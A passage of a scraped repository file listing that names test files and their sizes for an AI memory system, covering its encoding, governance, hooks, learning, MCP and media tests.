bytestests/test_core/test_wp19_health_report.pyruns3,607 bytestests/test_core/test_wp19_health_service.pyruns3,212 bytestests/test_core/test_wp19_native_repair_undo.pyruns4,222 bytestests/test_core/test_wp19_ollama_cloud.pyruns3,482 bytestests/test_core/test_wp19_recall_stubs.pyruns939 bytestests/test_core/test_wp19_repair_saves.pyruns7,369 bytestests/test_core/test_wp19_resave_valid_from.pyruns1,720 bytestests/test_core/test_wp19_save_paths.pyruns2,868 bytestests/test_core/test_wp19_stub_unmark.pyruns3,610 bytestests/test_core/test_wp5_dedup.pyruns5,849 bytestests/test_core/test_wp5_enrichment.pyruns5,803 bytestests/test_core/test_wp5_truncation.pyruns1,160 bytestests/test_core/test_wp5b_fidelity_failure.pyruns7,287 bytestests/test_core/test_wp5b_legacy_recall.pyruns4,917 bytestests/test_core/test_wp5b_quarantine.pyruns4,934 bytestests/test_core/test_wp5b_review_listing.pyruns1,671 bytestests/test_core/test_wp6_calibration_job.pyruns10,376 bytestests/test_core/test_wp6_hand_edit.pyruns2,106 bytestests/test_core/test_wp6_match_confidence.pyruns1,115 bytestests/test_core/test_wp6_nomic_space.pyruns2,084 bytestests/test_core/test_wp8_python_store.pyruns1,024 bytestests/test_core/test_write_path_projection_order.pyruns14,212 bytestests/test_cross_install/__init__.pyruns0 bytestests/test_cross_install/test_lazy_init.pyruns9,085 bytestests/test_daemon/__init__.pyruns0 bytestests/test_daemon/test_materializer_live_module.pyruns1,389 bytestests/test_daemon/test_pending_materializer_service.pyruns4,948 bytestests/test_daemon/test_service_registry.pyruns4,833 bytestests/test_dashboard_preserve_embedding.pyruns27,974 bytestests/test_dev_metadata.pyruns793 bytestests/test_distributed/__init__.pyruns0 bytestests/test_distributed/test_remote_mode.pyruns6,849 bytestests/test_docs_chatgpt_skill_location.pyruns1,274 bytestests/test_documentation_matches_implementation.pyruns11,276 bytestests/test_documents/__init__.pyruns0 bytestests/test_documents/conftest.pyruns1,020 bytestests/test_documents/index_support.pyruns4,489 bytestests/test_documents/pdfs.pyruns2,093 bytestests/test_documents/support.pyruns5,587 bytestests/test_documents/test_data_root_refusal.pyruns1,491 bytestests/test_documents/test_erase.pyruns7,956 bytestests/test_documents/test_fable_fb.pyruns3,385 bytestests/test_documents/test_folder_isolation.pyruns1,949 bytestests/test_documents/test_heavy_phase.pyruns4,236 bytestests/test_documents/test_index.pyruns3,781 bytestests/test_documents/test_limits.pyruns5,922 bytestests/test_documents/test_lint.pyruns2,977 bytestests/test_documents/test_parse_script.pyruns3,982 bytestests/test_documents/test_retry_by_id.pyruns8,098 bytestests/test_documents/test_routes.pyruns10,997 bytestests/test_documents/test_runner.pyruns12,703 bytestests/test_documents/test_service.pyruns2,570 bytestests/test_documents/test_status.pyruns6,190 bytestests/test_documents/test_submit.pyruns14,915 bytestests/test_dynamics/__init__.pyruns0 bytestests/test_dynamics/test_archive_zone_has_one_source.pyruns5,011 bytestests/test_dynamics/test_eap_scheduler.pyruns17,776 bytestests/test_dynamics/test_ebbinghaus_langevin.pyruns10,156 bytestests/test_dynamics/test_fisher_langevin_empty_variance.pyruns3,274 bytestests/test_dynamics/test_qjl_repair_source_race.pyruns3,008 bytestests/test_dynamics/test_qjl_upgrade_repair.pyruns15,117 bytestests/test_dynamics/test_sagq.pyruns28,308 bytestests/test_encoding/__init__.pyruns0 bytestests/test_encoding/_source_fidelity_cases.pyruns12,314 bytestests/test_encoding/test_a_codename_is_a_name_not_a_plan.pyruns2,804 bytestests/test_encoding/test_a_plan_is_not_just_a_sentence_with_a_date_in_it.pyruns11,428 bytestests/test_encoding/test_auto_linker.pyruns10,957 bytestests/test_encoding/test_cognitive_consolidator.pyruns46,354 bytestests/test_encoding/test_consolidation_respects_time_and_corrections.pyruns5,511 bytestests/test_encoding/test_consolidator.pyruns15,921 bytestests/test_encoding/test_consolidator_neighbours_without_a_full_scan.pyruns7,476 bytestests/test_encoding/test_context_generator.pyruns8,276 bytestests/test_encoding/test_emotional.pyruns5,284 bytestests/test_encoding/test_entity_extraction_precision.pyruns10,403 bytestests/test_encoding/test_entity_indexes_survive_unrelated_commits.pyruns4,739 bytestests/test_encoding/test_entity_lookup_index_answers_the_same.pyruns4,104 bytestests/test_encoding/test_entity_mentions.pyruns3,336 bytestests/test_encoding/test_entity_name_validity.pyruns5,451 bytestests/test_encoding/test_entity_resolution_never_chains.pyruns11,324 bytestests/test_encoding/test_entity_resolver.pyruns11,829 bytestests/test_encoding/test_entropy_gate.pyruns6,343 bytestests/test_encoding/test_every_sentence_is_findable.pyruns6,589 bytestests/test_encoding/test_fact_extractor.pyruns24,565 bytestests/test_encoding/test_fact_extractor_kind_hint.pyruns4,080 bytestests/test_encoding/test_foresight.pyruns6,688 bytestests/test_encoding/test_graph_builder.pyruns13,023 bytestests/test_encoding/test_hook_bookkeeping_is_a_stub.pyruns5,204 bytestests/test_encoding/test_memory_kind_classifier.pyruns16,650 bytestests/test_encoding/test_memory_kind_rules.pyruns6,267 bytestests/test_encoding/test_mode_a_no_entities.pyruns1,150 bytestests/test_encoding/test_node_degree_uses_edge_indexes.pyruns4,566 bytestests/test_encoding/test_observation_builder.pyruns8,712 bytestests/test_encoding/test_review243_causal_assertion.pyruns2,034 bytestests/test_encoding/test_scene_builder.pyruns14,791 bytestests/test_encoding/test_scene_lookups_use_the_scene_index.pyruns3,746 bytestests/test_encoding/test_signal_inference.pyruns4,589 bytestests/test_encoding/test_source_fidelity.pyruns4,951 bytestests/test_encoding/test_source_fidelity_precision.pyruns3,769 bytestests/test_encoding/test_temporal_filter.pyruns9,399 bytestests/test_encoding/test_temporal_parser.pyruns12,340 bytestests/test_encoding/test_temporal_validator.pyruns24,652 bytestests/test_encoding/test_type_router.pyruns9,295 bytestests/test_encoding/test_type_router_preserves_fields.pyruns1,717 bytestests/test_encoding/test_typed_values.pyruns5,211 bytestests/test_encoding/test_wp12a_causal.pyruns1,920 bytestests/test_encoding/test_wp12b_entity_lookup_plans.pyruns3,327 bytestests/test_encoding/test_wp5_dates.pyruns2,386 bytestests/test_encoding/test_wp5_fidelity.pyruns10,764 bytestests/test_encoding/test_wp5b_review_candidates.pyruns2,714 bytestests/test_engine_hooks.pyruns2,388 bytestests/test_evaluation/test_answer_quality.pyruns5,900 bytestests/test_evaluation/test_calibration_report.pyruns6,720 bytestests/test_evaluation/test_gold_presence.pyruns5,127 bytestests/test_event_bus.pyruns5,476 bytestests/test_evolution/__init__.pyruns0 bytestests/test_evolution/test_a_verified_skill_can_actually_be_approved.pyruns5,192 bytestests/test_evolution/test_an_evolved_skill_cannot_smuggle_code_past_the_check.pyruns3,802 bytestests/test_evolution/test_artifact_identity.pyruns5,330 bytestests/test_evolution/test_backup_confinement.pyruns2,343 bytestests/test_evolution/test_backup_platform.pyruns1,988 bytestests/test_evolution/test_config_cli.pyruns2,561 bytestests/test_evolution/test_evolution.pyruns55,414 bytestests/test_evolution/test_evolution_budget.pyruns5,995 bytestests/test_evolution/test_evolution_config_endpoint.pyruns2,948 bytestests/test_evolution/test_evolve_candidate_budget.pyruns1,562 bytestests/test_evolution/test_llm_dispatch.pyruns14,579 bytestests/test_evolution/test_model_selection.pyruns5,665 bytestests/test_evolution/test_phase2_audit_remediations.pyruns8,015 bytestests/test_evolution/test_phase2_governance.pyruns33,858 bytestests/test_evolution/test_skill_cycle_acceptance.pyruns5,186 bytestests/test_evolution/test_skill_evolver_firing.pyruns15,167 bytestests/test_evolution/test_skill_health_execution.pyruns2,630 bytestests/test_evolution/test_workspace_activation_never_writes_installed_source.pyruns1,270 bytestests/test_evolution/test_wp11_local_models.pyruns1,614 bytestests/test_evolution/test_wp11_verifier_artifact.pyruns3,494 bytestests/test_f02_mode_no_compliance_claims.pyruns2,370 bytestests/test_f03_data_locality_label.pyruns4,800 bytestests/test_f05_single_learning_db_path.pyruns3,970 bytestests/test_f08_migration_abort_distinguishable.pyruns2,528 bytestests/test_f14_readline_thread_leak.pyruns2,244 bytestests/test_features.pyruns3,131 bytestests/test_final_locomo_mini.pyruns32,945 bytestests/test_governance/__init__.pyruns0 bytestests/test_governance/test_a_login_required_workspace_refuses_the_cli.pyruns8,900 bytestests/test_governance/test_account_authority_and_audit.pyruns10,273 bytestests/test_governance/test_active_workspace_is_per_caller.pyruns4,865 bytestests/test_governance/test_audit_anchor_must_exist.pyruns2,280 bytestests/test_governance/test_audit_anchor_upgrade.pyruns2,804 bytestests/test_governance/test_audit_chain_covers_every_field.pyruns7,276 bytestests/test_governance/test_audit_status_count_is_bounded.pyruns1,770 bytestests/test_governance/test_audit_unknown_hash_versions.pyruns1,335 bytestests/test_governance/test_company_mode_holds_on_every_transport.pyruns11,361 bytestests/test_governance/test_connection_attribution_and_content_binding.pyruns2,955 bytestests/test_governance/test_dashboard_recall_posts_stay_in_the_callers_workspace.pyruns4,148 bytestests/test_governance/test_every_door_asks_the_same_question.pyruns11,958 bytestests/test_governance/test_http_mcp_cookieless.pyruns3,799 bytestests/test_governance/test_http_mcp_role_positive_controls.pyruns1,863 bytestests/test_governance/test_http_mcp_workspace_sessions.pyruns11,361 bytestests/test_governance/test_installation_events_are_visible.pyruns2,907 bytestests/test_governance/test_installation_mutation_scope.pyruns952 bytestests/test_governance/test_jev_consent_receipts.pyruns3,149 bytestests/test_governance/test_learning_global_manage.pyruns2,369 bytestests/test_governance/test_maintenance_acts_on_the_bound_workspace.pyruns15,563 bytestests/test_governance/test_maintenance_forwards_caller_binding.pyruns3,022 bytestests/test_governance/test_mcp_refusal_contract.pyruns851 bytestests/test_governance/test_ops_scoped_and_honest.pyruns7,178 bytestests/test_governance/test_pr248_recheck_integration.pyruns13,295 bytestests/test_governance/test_read_target_route_contracts.pyruns2,643 bytestests/test_governance/test_release_installation_routes.pyruns1,385 bytestests/test_governance/test_role_surface_matrix_mcp.pyruns13,000 bytestests/test_governance/test_role_surface_matrix_rest.pyruns16,271 bytestests/test_governance/test_save_repair_keeps_fact_evidence.pyruns5,328 bytestests/test_governance/test_save_repair_rechecks_reviewed_plan.pyruns2,641 bytestests/test_governance/test_saves_refiled_after_scope_drift.pyruns8,881 bytestests/test_governance/test_search_preserves_visibility.pyruns1,865 bytestests/test_governance/test_stale_dead_letters.pyruns6,159 bytestests/test_governance/test_stateful_http_mcp_workspace.pyruns4,264 bytestests/test_governance/test_the_config_cannot_claim_a_backend_it_does_not_have.pyruns9,422 bytestests/test_governance/test_the_dashboard_shows_what_is_true.pyruns7,475 bytestests/test_governance/test_tool_registration_keeps_its_gate.pyruns1,830 bytestests/test_governance/test_trust_accumulates_against_a_stable_identity.pyruns5,700 bytestests/test_governance/test_unused_workspace_hints_cannot_grant_reads.pyruns2,620 bytestests/test_governance/test_url_agent_name_is_only_claimed.pyruns5,676 bytestests/test_governance/test_workspace_evolution_producers.pyruns2,961 bytestests/test_governance/test_workspace_skill_evolution.pyruns6,124 bytestests/test_graph/test_cozo_tier_sync.pyruns2,872 bytestests/test_graph_integrity.pyruns7,987 bytestests/test_graph_pruning_config.pyruns19,445 bytestests/test_hook_handlers.pyruns46,586 bytestests/test_hooks/__init__.pyruns36 bytestests/test_hooks/_timing.pyruns2,822 bytestests/test_hooks/test_an_action_is_recorded_whether_or_not_it_names_a_memory.pyruns6,391 bytestests/test_hooks/test_auto_injection_never_hides_memories.pyruns4,714 bytestests/test_hooks/test_auto_invoker.pyruns10,172 bytestests/test_hooks/test_auto_parameterize.pyruns6,068 bytestests/test_hooks/test_auto_recall_answer_check.pyruns3,658 bytestests/test_hooks/test_auto_recall_hook.pyruns10,326 bytestests/test_hooks/test_check_status_corrupt_settings.pyruns5,782 bytestests/test_hooks/test_codex_assets.pyruns7,495 bytestests/test_hooks/test_codex_hooks.pyruns4,697 bytestests/test_hooks/test_codex_start_answer_check.pyruns5,514 bytestests/test_hooks/test_daemon_port_discovery.pyruns4,484 bytestests/test_hooks/test_fok_gating.pyruns5,159 bytestests/test_hooks/test_hook_daemon.pyruns8,692 bytestests/test_hooks/test_hook_deadline_command_resolution.pyruns4,026 bytestests/test_hooks/test_hook_event_delivery.pyruns11,433 bytestests/test_hooks/test_hook_event_spool.pyruns6,145 bytestests/test_hooks/test_hook_handler_root_namespace.pyruns3,490 bytestests/test_hooks/test_hook_handlers.pyruns20,003 bytestests/test_hooks/test_hook_payload_keys.pyruns2,741 bytestests/test_hooks/test_hook_socket_path.pyruns4,282 bytestests/test_hooks/test_hooks_callable_injection.pyruns5,273 bytestests/test_hooks/test_hooks_inject_supported_only.pyruns5,908 bytestests/test_hooks/test_injection_switch.pyruns6,498 bytestests/test_hooks/test_memory_protocol_answer_check.pyruns1,300 bytestests/test_hooks/test_multi_signal_scoring.pyruns8,915 bytestests/test_hooks/test_native_hook_event_evidence.pyruns10,777 bytestests/test_hooks/test_outcome_hooks.pyruns23,608 bytestests/test_hooks/test_prewarm_auth.pyruns6,882 bytestests/test_hooks/test_rules_are_wired.pyruns6,398 bytestests/test_hooks/test_session_registry.pyruns8,898 bytestests/test_hooks/test_stage8_outcome_common_security.pyruns4,231 bytestests/test_hooks/test_stage8_post_tool_marker_regex.pyruns2,447 bytestests/test_hooks/test_user_prompt_hook_entity_detection.pyruns9,009 bytestests/test_hooks/test_w2_canonical_data_root.pyruns8,024 bytestests/test_host_and_framework_adapters/README.mddoc2,219 bytestests/test_host_and_framework_adapters/fixtures/opencode-mcp.jsonasset4,536 bytestests/test_host_and_framework_adapters/offline_agents.pyruns1,081 bytestests/test_host_and_framework_adapters/test_adapter_resolution.pyruns1,660 bytestests/test_host_and_framework_adapters/test_bridge_packaging.pyruns1,952 bytestests/test_host_and_framework_adapters/test_doc_samples.pyruns2,982 bytestests/test_host_and_framework_adapters/test_engine_bridge.pyruns5,245 bytestests/test_host_and_framework_adapters/test_framework_contracts.pyruns8,300 bytestests/test_host_and_framework_adapters/test_host_contracts.pyruns8,190 bytestests/test_host_and_framework_adapters/test_http_verification.pyruns3,792 bytestests/test_host_and_framework_adapters/test_native_adapters.pyruns4,033 bytestests/test_host_and_framework_adapters/test_readme_samples.pyruns1,167 bytestests/test_host_and_framework_adapters/test_sdk_contracts.pyruns7,967 bytestests/test_ide_connector.pyruns3,497 bytestests/test_infra.pyruns6,095 bytestests/test_infra/_backup_key_env.pyruns1,066 bytestests/test_infra/test_auxiliary_data_root_contract.pyruns1,883 bytestests/test_infra/test_backup_coordinator_restore.pyruns14,589 bytestests/test_infra/test_backup_coordinator_wal.pyruns13,279 bytestests/test_infra/test_backup_crypto_format.pyruns7,649 bytestests/test_infra/test_backup_due_clock.pyruns2,897 bytestests/test_infra/test_backup_includes_mesh_db.pyruns7,498 bytestests/test_infra/test_backup_keys.pyruns7,855 bytestests/test_infra/test_backup_obligations_are_honest.pyruns6,684 bytestests/test_infra/test_backup_restore_retention_race.pyruns3,464 bytestests/test_infra/test_cloud_backup_atomic.pyruns12,838 bytestests/test_infra/test_cloud_backup_encrypted_upload.pyruns15,390 bytestests/test_infra/test_cloud_backup_keyring_absent.pyruns1,673 bytestests/test_infra/test_data_root_contract.pyruns12,078 bytestests/test_infra/test_local_diagnostics.pyruns4,727 bytestests/test_infra/test_mesh_lock_expiry_targets_the_store.pyruns2,762 bytestests/test_infra/test_proc_memory.pyruns3,235 bytestests/test_infra/test_process_identity.pyruns5,541 bytestests/test_infra/test_restore_replays_targeted_erasures.pyruns6,917 bytestests/test_infra/test_version_integrity.pyruns8,818 bytestests/test_infra/test_version_integrity_surfaces.pyruns6,739 bytestests/test_infra/test_w3_state_identity.pyruns7,837 bytestests/test_ingestion/test_base_adapter_identity.pyruns1,028 bytestests/test_ingestion/test_calendar_adapter.pyruns20,176 bytestests/test_ingestion/test_gmail_adapter.pyruns29,381 bytestests/test_ingestion/test_ingestion_data_root_contract.pyruns2,338 bytestests/test_injection.pyruns20,555 bytestests/test_integration/__init__.pyruns0 bytestests/test_integration/_process_tree.pyruns1,338 bytestests/test_integration/conftest.pyruns665 bytestests/test_integration/test_agent_speaker_attribution.pyruns2,996 bytestests/test_integration/test_async_remember_e2e.pyruns5,900 bytestests/test_integration/test_async_remember_materializer.pyruns10,751 bytestests/test_integration/test_cross_platform_learning.pyruns27,535 bytestests/test_integration/test_daemon_process_detection.pyruns1,626 bytestests/test_integration/test_e2e.pyruns16,691 bytestests/test_integration/test_e2e_v32.pyruns30,586 bytestests/test_integration/test_e2e_v33.pyruns27,045 bytestests/test_integration/test_edit_refusals_are_truthful.pyruns3,446 bytestests/test_integration/test_embedding_switch_e2e.pyruns19,790 bytestests/test_integration/test_encoding_wiring.pyruns26,076 bytestests/test_integration/test_erasure_integrity_e2e.pyruns17,649 bytestests/test_integration/test_gdpr_erasure_wins_e2e.pyruns3,299 bytestests/test_integration/test_integrity_repair_e2e.pyruns5,323 bytestests/test_integration/test_just_saved_memory_is_found_while_model_loads.pyruns4,630 bytestests/test_integration/test_kind_on_resave_composed.pyruns3,982 bytestests/test_integration/test_kind_recall_is_not_crowded_out.pyruns3,135 bytestests/test_integration/test_mcp_declared_kind_transport.pyruns24,211 bytestests/test_integration/test_mode_b_ollama.pyruns21,501 bytestests/test_integration/test_mode_pipeline_contract.pyruns10,549 bytestests/test_integration/test_mutation_routes_never_freeze_the_daemon.pyruns6,027 bytestests/test_integration/test_overtaken_cases_e2e.pyruns11,215 bytestests/test_integration/test_per_request_profile_e2e.pyruns38,858 bytestests/test_integration/test_profile_erase_through_a_real_daemon.pyruns3,014 bytestests/test_integration/test_project_recall_strict_and_crowded.pyruns5,654 bytestests/test_integration/test_read_after_write_parity.pyruns7,172 bytestests/test_integration/test_source_fidelity_e2e.pyruns18,030 bytestests/test_integration/test_tag_recall_is_not_crowded_out.pyruns10,166 bytestests/test_integration/test_trust_compliance_wiring.pyruns27,801 bytestests/test_integration/test_upgrade_classifies_once.pyruns4,406 bytestests/test_integration/test_upgrade_v3_4_25_to_v3_4_26.pyruns5,165 bytestests/test_integration/test_write_retry_after_restart.pyruns4,604 bytestests/test_integrations/test_bounded_loops_mcp_bridge.pyruns6,475 bytestests/test_integrations/test_bounded_loops_v051.pyruns6,507 bytestests/test_integrations/test_platform_safety.pyruns9,022 bytestests/test_isolation_cycle3.pyruns24,705 bytestests/test_isolation_guard.pyruns8,982 bytestests/test_isolation_guard_spawned_child.pyruns2,355 bytestests/test_issue91_lifecycle_ui.pyruns8,511 bytestests/test_learning/__init__.pyruns0 bytestests/test_learning/_signal_fixtures.pyruns2,545 bytestests/test_learning/conftest.pyruns1,814 bytestests/test_learning/test_a_dry_run_writes_nothing.pyruns2,178 bytestests/test_learning/test_a_memory_that_helped_ranks_higher.pyruns21,652 bytestests/test_learning/test_a_recall_leaves_a_ticket_an_outcome_can_find.pyruns10,743 bytestests/test_learning/test_a_repeat_question_keeps_its_answer.pyruns3,332 bytestests/test_learning/test_adaptive.pyruns8,607 bytestests/test_learning/test_an_answer_can_be_reported_on_by_name.pyruns7,342 bytestests/test_learning/test_an_exposure_is_not_feedback.pyruns14,185 bytestests/test_learning/test_an_order_the_arm_did_not_choose_teaches_it_nothing.pyruns12,142 bytestests/test_learning/test_an_outcome_with_no_signal_is_not_scored.pyruns3,649 bytestests/test_learning/test_arm_catalog.pyruns2,620 bytestests/test_learning/test_bandit_core.pyruns16,706 bytestests/test_learning/test_bandit_in_recall.pyruns10,992 bytestests/test_learning/test_bandit_supplementary.pyruns16,355 bytestests/test_learning/test_behavioral.pyruns9,278 bytestests/test_learning/test_canonical_feedback_routing.pyruns7,040 bytestests/test_learning/test_consolidation_online_retrain_wiring.pyruns17,764 bytestests/test_learning/test_consolidation_quantization_worker.pyruns9,439 bytestests/test_learning/test_dashboard_feedback.pyruns4,533 bytestests/test_learning/test_engagement_is_observed_not_requested.pyruns7,669 bytestests/test_learning/test_engagement_reward_model.pyruns26,092 bytestests/test_learning/test_ensemble.pyruns9,478 bytestests/test_learning/test_f4a_refactor.pyruns10,707 bytestests/test_learning/test_fact_outcome_joins.pyruns6,647 bytestests/test_learning/test_feature_extraction_wired.pyruns2,056 bytestests/test_learning/test_forgetting_protections.pyruns6,392 bytestests/test_learning/test_forgetting_scheduler.pyruns17,270 bytestests/test_learning/test_hnsw_dedup.pyruns22,307 bytestests/test_learning/test_issue106_canonical_signal_store.pyruns18,024 bytestests/test_learning/test_junk_is_never_scored_to_keep.pyruns4,723 bytestests/test_learning/test_labeler.pyruns2,620 bytestests/test_learning/test_learning_db.pyruns2,092 bytestests/test_learning/test_lifecycle_write_protection.pyruns3,444 bytestests/test_learning/test_lightgbm_subprocess.pyruns6,579 bytestests/test_learning/test_lightgbm_training.pyruns13,233 bytestests/test_learning/test_marker_closes_the_loop.pyruns6,040 bytestests/test_learning/test_memory_merge.pyruns3,113 bytestests/test_learning/test_mining_is_idempotent_and_scoped.pyruns5,101 bytestests/test_learning/test_one_outcome_writer.pyruns10,015 bytestests/test_learning/test_one_question_draws_one_arm.pyruns8,559 bytestests/test_learning/test_online_retrain.pyruns35,816 bytestests/test_learning/test_outcome_queue_survives_write_load.pyruns3,116 bytestests/test_learning/test_outcomes.pyruns8,867 bytestests/test_learning/test_ranker_v2.pyruns19,338 bytestests/test_learning/test_retention_sweep.pyruns4,796 bytestests/test_learning/test_reward_gated_archive.pyruns4,477 bytestests/test_learning/test_reward_proxy.pyruns16,515 bytestests/test_learning/test_reward_strict_mode.pyruns1,871 bytestests/test_learning/test_s9_dash_orphan_entity.pyruns5,332 bytestests/test_learning/test_s9_dash_outcome_queue.pyruns7,026 bytestests/test_learning/test_s9_w1_lld10_wiring.pyruns7,975 bytestests/test_learning/test_s9_w6_skeptic.pyruns7,483 bytestests/test_learning/test_shadow_test.pyruns6,856 bytestests/test_learning/test_signal_worker.pyruns7,473 bytestests/test_learning/test_signals_pipeline.pyruns10,751 bytestests/test_learning/test_source_quality_reward_wiring.pyruns12,074 bytestests/test_learning/test_stage8_reward_archive_payload_cap.pyruns4,614 bytestests/test_learning/test_stage8_reward_signal_typecheck.pyruns3,145 bytestests/test_learning/test_stage8_trigram_rebuild_bound.pyruns2,962 bytestests/test_learning/test_the_bandit_learns_from_a_real_outcome.pyruns24,862 bytestests/test_learning/test_the_learning_loop_closes.pyruns13,268 bytestests/test_learning/test_the_miner_needs_events_to_mine.pyruns5,080 bytestests/test_learning/test_the_play_records_what_was_actually_shown.pyruns5,498 bytestests/test_learning/test_the_reward_loop_has_a_key_to_join_on.pyruns6,735 bytestests/test_learning/test_the_stack_is_not_read_out_of_ordinary_english.pyruns3,505 bytestests/test_learning/test_trigram_index.pyruns16,185 bytestests/test_learning_advanced.pyruns2,693 bytestests/test_learning_collectors.pyruns3,029 bytestests/test_llm_provider.pyruns12,442 bytestests/test_m031_startup_automigration.pyruns20,174 bytestests/test_math/__init__.pyruns0 bytestests/test_math/test_a_rotation_matrix_never_corrupts_memory.pyruns3,498 bytestests/test_math/test_ebbinghaus.pyruns9,807 bytestests/test_math/test_fisher.pyruns13,472 bytestests/test_math/test_fisher_quantized.pyruns17,332 bytestests/test_math/test_hopfield.pyruns13,780 bytestests/test_math/test_langevin.pyruns12,701 bytestests/test_math/test_no_native_lapack_in_source.pyruns4,287 bytestests/test_math/test_polar_quant.pyruns13,612 bytestests/test_math/test_qjl.pyruns4,186 bytestests/test_math/test_sheaf.pyruns15,431 bytestests/test_math/test_the_hot_path_makes_no_lapack_factorization.pyruns7,849 bytestests/test_math/test_turbo_quant.pyruns20,757 bytestests/test_math/test_wp12a_contradiction.pyruns2,129 bytestests/test_math/test_wp12a_regressions.pyruns5,310 bytestests/test_math/test_wp12b_qjl_magnitude.pyruns2,038 bytestests/test_mcp/__init__.pyruns47 bytestests/test_mcp/conftest.pyruns1,003 bytestests/test_mcp/test_a_memory_knows_when_and_where_it_came_from.pyruns9,198 bytestests/test_mcp/test_admission_mcp_decorator.pyruns4,655 bytestests/test_mcp/test_agent_context.pyruns23,134 bytestests/test_mcp/test_brain_truth_adapter.pyruns3,982 bytestests/test_mcp/test_chatgpt_file_param.pyruns9,014 bytestests/test_mcp/test_compression_ownership.pyruns5,809 bytestests/test_mcp/test_context_loads_skip_the_answer_check.pyruns8,388 bytestests/test_mcp/test_core_control_mutation_policy.pyruns2,645 bytestests/test_mcp/test_daemon_proxy_404.pyruns2,260 bytestests/test_mcp/test_default_root_presence.pyruns3,037 bytestests/test_mcp/test_degraded_recall_finds_versions.pyruns2,469 bytestests/test_mcp/test_degraded_recall_obeys_the_same_rules.pyruns3,991 bytestests/test_mcp/test_embedded_mcp_uses_the_daemon_engine.pyruns1,580 bytestests/test_mcp/test_emergency_fidelity.pyruns907 bytestests/test_mcp/test_erasure_visibility.pyruns2,516 bytestests/test_mcp/test_every_tool_has_title_and_hints.pyruns8,191 bytestests/test_mcp/test_expand_and_search_tiers.pyruns3,814 bytestests/test_mcp/test_fetch_cannot_report_a_miss_as_an_empty_store.pyruns5,697 bytestests/test_mcp/test_http_transport.pyruns15,520 bytestests/test_mcp/test_kind_display_matches_the_configured_filter.pyruns3,169 bytestests/test_mcp/test_legacy_mutation_policy.pyruns4,507 bytestests/test_mcp/test_legacy_process_presence.pyruns7,094 bytestests/test_mcp/test_live_media_tools.pyruns2,960 bytestests/test_mcp/test_live_process_registry.pyruns2,641 bytestests/test_mcp/test_mcp_brain_tools.pyruns5,667 bytestests/test_mcp/test_mcp_daemon_proxy.pyruns16,436 bytestests/test_mcp/test_mcp_exposure_contract.pyruns12,005 bytestests/test_mcp/test_mcp_light_engine.pyruns5,858 bytestests/test_mcp/test_mcp_pool_adapter.pyruns11,059 bytestests/test_mcp/test_mcp_recall_tool.pyruns13,025 bytestests/test_mcp/test_mcp_remember_tool.pyruns14,492 bytestests/test_mcp/test_mcp_session_init_tool.pyruns10,926 bytestests/test_mcp/test_mcp_tool_annotations.pyruns9,660 bytestests/test_mcp/test_mcp_tools_registration.pyruns3,948 bytestests/test_mcp/test_mcp_v33_tools.pyruns22,502 bytestests/test_mcp/test_media_upload_link_tool.pyruns6,800 bytestests/test_mcp/test_mesh_session_start.pyruns3,033 bytestests/test_mcp/test_mesh_tools_contract.pyruns11,549 bytestests/test_mcp/test_mode_label_tells_the_truth.pyruns3,223 bytestests/test_mcp/test_observe_event_type.pyruns1,565 bytestests/test_mcp/test_prestage_context_profile.pyruns4,779 bytestests/test_mcp/test_prestage_context_tool.pyruns3,946 bytestests/test_mcp/test_prestage_registered.pyruns3,311 bytestests/test_mcp/test_project_recall_surfaces.pyruns17,005 bytestests/test_mcp/test_q9_session_init_size_budget.pyruns5,553 bytestests/test_mcp/test_recall_budget.pyruns7,296 bytestests/test_mcp/test_recall_images.pyruns6,983 bytestests/test_mcp/test_recall_limit_parity.pyruns5,515 bytestests/test_mcp/test_recall_metadata_reaches_mcp.pyruns5,216 bytestests/test_mcp/test_registry_containment.pyruns8,133 bytestests/test_mcp/test_remember_replaces_tool.pyruns9,684 bytestests/test_mcp/test_remote_by_id_writes_hide_media.pyruns14,826 bytestests/test_mcp/test_remote_delete_hides_media.pyruns3,560 bytestests/test_mcp/test_remote_media_tools.pyruns6,296 bytestests/test_mcp/test_remote_more_reads_hide_media.pyruns14,039 bytestests/test_mcp/test_remote_pins_hide_media.pyruns3,379 bytestests/test_mcp/test_remote_tools_hide_media.pyruns4,032 bytestests/test_mcp/test_retention_policy_effect.pyruns4,032 bytestests/test_mcp/test_saved_tool_set.pyruns2,549 bytestests/test_mcp/test_score_contract_surface_parity.pyruns3,689 bytestests/test_mcp/test_session_binding.pyruns6,383 bytestests/test_mcp/test_session_init_answer_check.pyruns5,538 bytestests/test_mcp/test_session_init_fallback_remote.pyruns828 bytestests/test_mcp/test_settle_session_outcomes.pyruns4,588 bytestests/test_mcp/test_source_content_discipline.pyruns6,203 bytestests/test_mcp/test_stateless_transport.pyruns2,060 bytestests/test_mcp/test_stdin_guard.pyruns2,128 bytestests/test_mcp/test_stdio_handshake.pyruns7,572 bytestests/test_mcp/test_stdio_live_registry.pyruns1,789 bytestests/test_mcp/test_stdio_process_budget.pyruns1,480 bytestests/test_mcp/test_streamable_http_network_regression.pyruns6,692 bytestests/test_mcp/test_sweep_findings_4_2_3.pyruns4,280 bytestests/test_mcp/test_the_embedder_proxy_uses_its_own_daemon.pyruns4,873 bytestests/test_mcp/test_tools_kinds_refusal.pyruns1,979 bytestests/test_mcp/test_tools_media.pyruns11,913 bytestests/test_mcp/test_tools_mesh_peer_seam.pyruns6,252 bytestests/test_mcp/test_tools_optimize.pyruns18,479 bytestests/test_mcp/test_tools_optimize_remote.pyruns4,846 bytestests/test_mcp/test_wp6_match_confidence.pyruns1,982 bytestests/test_mcp_server.pyruns3,406 bytestests/test_media/__init__.pyruns0 bytestests/test_media/_erase_support.pyruns3,070 bytestests/test_media/_real_roles.pyruns2,662 bytestests/test_media/test_backup_includes_media_db.pyruns1,890 bytestests/test_media/test_backup_includes_originals.pyruns6,897 bytestests/test_media/test_backup_scrub.pyruns2,616 bytestests/test_media/test_backup_set_includes_originals.pyruns4,880 bytestests/test_media/test_dashboard_upload_route.pyruns8,874 bytestests/test_media/test_data_root_identity.pyruns1,232 bytestests/test_media/test_data_root_refusal.pyruns1,585 bytestests/test_media/test_erasure.pyruns6,569 bytestests/test_media/test_fable_fb.pyruns6,261 bytestests/test_media/test_files.pyruns3,337 bytestests/test_media/test_gates_real_roles.pyruns5,888 bytestests/test_media/test_gc.pyruns4,823 bytestests/test_media/test_ingest.pyruns23,661 bytestests/test_media/test_media_list_route.pyruns4,103 bytestests/test_media/test_media_routes.pyruns12,943 bytestests/test_media/test_media_routes_origin.pyruns4,472 bytestests/test_media/test_media_store.pyruns16,879 bytestests/test_media/test_media_store_no_extensions.pyruns1,121 bytestests/test_media/test_per_profile_files.pyruns2,588 